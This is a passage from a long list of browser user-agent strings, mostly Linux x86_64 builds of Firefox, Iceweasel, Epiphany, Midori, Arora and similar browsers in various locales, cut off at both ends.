Gecko/20090428 Firefox/3.6a1pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090501 Minefield/3.6a1pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090716 Minefield/3.6a1pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a2pre) Gecko/20090817 Ubuntu/9.04 (jaunty) Namoroka/3.6a2pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a2pre) Gecko/20090824 Ubuntu/9.10 (karmic) Namoroka/3.6a2pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a2pre) Gecko/20090901 Ubuntu/9.10 (karmic) Namoroka/3.6a2pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a2pre) Gecko/20090908 Ubuntu/9.04 (jaunty) Namoroka/3.6a2pre GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a4pre) Gecko/20100318 Minefield/3.7a4pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a1) Gecko/20060112 Firefox/1.6a1\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a8) Gecko/2007100619 GranParadiso/3.0a8\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b2) Gecko/2007122607 Minefield/3.0b2\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008011321 Firefox/3.0b3pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008020509 Firefox/3.0b3pre\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008031318 Firefox/3.0b4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008040813 Firefox/3.0b4\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008040514 Firefox/3.0b5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008041816 Fedora/3.0-0.55.beta5.fc9 Firefox/3.0b5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Firefox/3.0b5\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Minefield/3.0pre\nMozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+\nMozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori\nMozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP\nMozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori\nMozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+\nMozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/532+ (KHTML, like Gecko) Safari/419.3 Midori/0.1.8\nMozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AT\nMozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/537.36 (KHTML, like Gecko)  Chrome/30.0.1599.114 Safari/537.36 Puffin/4.8.0.2965AT\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.13) Gecko/20080322 Epiphany/2.22 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.13) Gecko/20080326 (Debian-1.8.1.13-1) Epiphany/2.20\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.14) Gecko/20080616 Fedora/2.20.3-4.fc8 Epiphany/2.20 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.3) Gecko/20061201 Epiphany/2.18 Firefox/2.0.0.3 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.4) Gecko/20061201 Epiphany/2.18 Firefox/2.0.0.4 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.8.1.4) Gecko/20070628 Epiphany/2.16 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9) Gecko/20080528 Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.1) Gecko/20080528 Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.14) Gecko/20080528 Epiphany/2.22 (Debian/2.26.3-2)\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.14) Gecko/20080528 Ubuntu/9.10 (karmic) Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.7) Gecko/20080528 Epiphany/2.22\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.8) Gecko/20080528 Epiphany/2.22 (Debian/2.24.3-2)\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.8) Gecko/20080528 Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; en; rv:1.9.0.8) Gecko/20080528 Fedora/2.24.3-4.fc10 Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061015 Ubuntu/8.04 (hardy) Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061017 Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.2) Gecko/2008091920 Firefox/3.0.2 Flock/2.0b3\nMozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.4) Gecko/2008110510 Red Hat/3.0.4-1.el5_2 Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux x86_64; es-CL; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.8.1.11) Gecko/20071128 Iceweasel/2.0.0.11 (Debian-2.0.0.11-1)\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.8.1.18) Gecko/20081112 Fedora/1.1.13-1.fc10 SeaMonkey/1.1.13\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009072711 CentOS/3.0.12-1.el5.centos Firefox/3.0.12\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.4 Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.16) Gecko/20120315 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc11 Firefox/3.5.8\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101026 SUSE/3.6.12-0.7.1 Firefox/3.6.12\nMozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12\nMozilla/5.0 (X11; U; Linux x86_64; es-MX; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12\nMozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.14) Gecko/2009090217 Firefox/3.0.14\nMozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7\nMozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Epiphany/2.30.6 Safari/534.7\nMozilla/5.0 (X11; U; Linux x86_64; fr-FR; rv:1.8.1.12) Gecko/20080209 SeaMonkey/1.1.8\nMozilla/5.0 (X11; U; Linux x86_64; fr-FR; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9 (Ubuntu-1.1.9+nobinonly-0ubuntu1)\nMozilla/5.0 (X11; U; Linux x86_64; fr-FR; rv:1.8.1.4) Gecko/20070528 SeaMonkey/1.1.2\nMozilla/5.0 (X11; U; Linux x86_64; fr-FR; rv:1.8.1.6) Gecko/20070803 SeaMonkey/1.1.4\nMozilla/5.0 (X11; U; Linux x86_64; fr-fr) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux x86_64; fr-fr) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.29.91\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.6) Gecko/20040115\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.7.12) Gecko/20051010 Epiphany/1.8.2 (Ubuntu) (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8) Gecko/20051231 Firefox/1.5\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.16) Gecko/20080715 Fedora/2.0.0.16-1.fc8 Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-2)\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9) Gecko/2008061017 Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-1.1 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.04 (jaunty) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.11) Gecko/2009061208 Iceweasel/3.0.9 (Debian-3.0.9-1)\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.19) Gecko/2010051407 CentOS/3.0.19-1.el5.centos Firefox/3.0.19\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.19) Gecko/2010072022 Iceweasel/3.0.6 (Debian-3.0.6-3)\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009030810 Iceweasel/3.0.7 (Debian-3.0.7-1)\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009031819 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009032813 Iceweasel/3.0.6 Firefox/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.16) Gecko/20101206 Lightning/1.0b1 SeaMonkey/2.0.11\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.16) Gecko/20120511 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.18) Gecko/20110412 Lightning/1.0b1 SeaMonkey/2.0.13\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.3pre\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 GTB7.0\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.9) Gecko/20100428 Lightning/1.0b1 SeaMonkey/2.0.4\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20101203 IceCat/3.6.13-g1\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20101203 Iceweasel/3.6.7 (like Firefox/3.6.13)\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.14pre) Gecko/20101224 Ubuntu/10.04 (lucid) Namoroka/3.6.14pre\nMozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.3) Gecko/20100403 Fedora/3.6.3-4.fc13 Firefox/3.6.3\nMozilla/5.0 (X11; U; Linux x86_64; hu-HU; rv:1.9.1.16) Gecko/20110107 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; hu-HU; rv:1.9.2.18pre) Gecko/20110515 Ubuntu/10.10 (maverick) Namoroka/3.6.18pre\nMozilla/5.0 (X11; U; Linux x86_64; hu-hu) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux x86_64; hu; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux x86_64; it-it) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux x86_64; it-it) AppleWebKit/534.26+ (KHTML, like Gecko) Ubuntu/11.04 Epiphany/2.30.6\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9) Gecko/2008061017 Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092813 Gentoo Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.16) Gecko/20111108 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.16) Gecko/20120921 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-2.fc12 Firefox/3.5.9\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 (.NET CLR 3.5.30729)\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.20) Gecko/20110805 Ubuntu/10.04 (lucid) Firefox/3.6.20\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.24) Gecko/20111101 SUSE/3.6.24-0.2.1 Firefox/3.6.24\nMozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.9pre) Gecko/20100818 Ubuntu/10.04 (lucid) Namoroka/3.6.9pre\nMozilla/5.0 (X11; U; Linux x86_64; ja-JP; rv:1.9.2.16) Gecko/20110323 Ubuntu/10.10 (maverick) Firefox/3.6.16\nMozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.1.4) Gecko/20091016 SUSE/3.5.4-1.1.2 Firefox/3.5.4\nMozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.1.8) Gecko/20100324 Iceweasel/3.5.8 (like Firefox/3.5.8)\nMozilla/5.0 (X11; U; Linux x86_64; ko-KR; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.2 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; nl-NL; rv:1.7.6) Gecko/20050318 Firefox/1.0.2\nMozilla/5.0 (X11; U; Linux x86_64; nl-nl) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.29.91\nMozilla/5.0 (X11; U; Linux x86_64; nl; rv:1.9.1.11) Gecko/20100714 openSUSE/3.0.6 Thunderbird/3.0.6 ThunderBrowse/3.3.2\nMozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8) Gecko/20051128 SUSE/1.5-0.1 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13\nMozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8.1.2pre) Gecko/20061023 SUSE/2.0.0.1-0.1 Firefox/2.0.0.2pre\nMozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9) Gecko/2008060309 Firefox/3.0\nMozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu (hardy) Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu/hardy Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.5) Gecko/2008121623 Ubuntu/8.10 (intrepid) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:2.0) Gecko/20110307 Firefox/4.0\nMozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.8.1.4) Gecko/20070611 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.8.1.7) Gecko/20071009 Firefox/2.0.0.7\nMozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.9.1.2) Gecko/20090911 Slackware Firefox/3.5.2\nMozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14\nMozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9b5) Gecko/2008041515 Firefox/3.0b5\nMozilla/5.0 (X11; U; Linux x86_64; ru-RU) AppleWebKit/533.3 (KHTML, like Gecko) Leechcraft/0.3.95-1-g84cc6b7 Safari/533.3\nMozilla/5.0 (X11; U; Linux x86_64; ru-RU) AppleWebKit/533.3 (KHTML, like Gecko) Leechcraft/0.4.55-13-g2230d9f Safari/533.3\nMozilla/5.0 (X11; U; Linux x86_64; ru-RU; rv:1.8.1.16) Gecko/20080716 Fedora/1.1.11-1.fc9 SeaMonkey/1.1.11\nMozilla/5.0 (X11; U; Linux x86_64; ru-ru) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-2)\nMozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 (.NET CLR 3.5.30729)\nMozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8\nMozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.11) Gecko/20101028 CentOS/3.6-2.el5.centos Firefox/3.6.11\nMozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18\nMozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre\nMozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.3a4pre) Gecko/20100319 Minefield/3.7a4pre\nMozilla/5.0 (X11; U; Linux x86_64; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux x86_64; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1\nMozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0\nMozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.9pre) Gecko/20100811 Ubuntu/10.04 (lucid) Namoroka/3.6.9pre GTB7.0\nMozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13\nMozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 GTB5\nMozilla/5.0 (X11; U; Linux x86_64; zh-cn) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.28.0 SUSE/2.28.0-2.4\nMozilla/5.0 (X11; U; Linux x86_64; zh-cn) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.28.2 SUSE/2.28.0-2.4\nMozilla/5.0 (X11; U; Linux; cs-CZ) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.4 (Change: 333 41e3bc6)\nMozilla/5.0 (X11; U; Linux; de-DE) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.2 (Change: 0 )\nMozilla/5.0 (X11; U; Linux; de-DE) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.4\nMozilla/5.0 (X11; U; Linux; de-DE) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.8.0\nMozilla/5.0 (X11; U; Linux; en-GB) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.4\nMozilla/5.0 (X11; U; Linux; en-GB) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.4 (Change: 388 835b3b6)\nMozilla/5.0 (X11; U; Linux; en-GB) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.3 (Change: 239 52c6958)\nMozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.2 (Change: 0 )\nMozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.2 (Change: 189 35c14e0)\nMozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.4\nMozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527  (KHTML, like Gecko, Safari/419.3) Arora/0.10.1\nMozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.6\nMozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6\nMozilla/5.0 (X11; U; Linux; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.11) Gecko/20100720 Firefox/3.5.11\nMozilla/5.0 (X11; U; Linux; en-us; rv:1.8.1) Gecko/20061010 Firefox/2.0 Midori/0.1.6\nMozilla/5.0 (X11; U; Linux; es-CR) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.2 (Change: 0 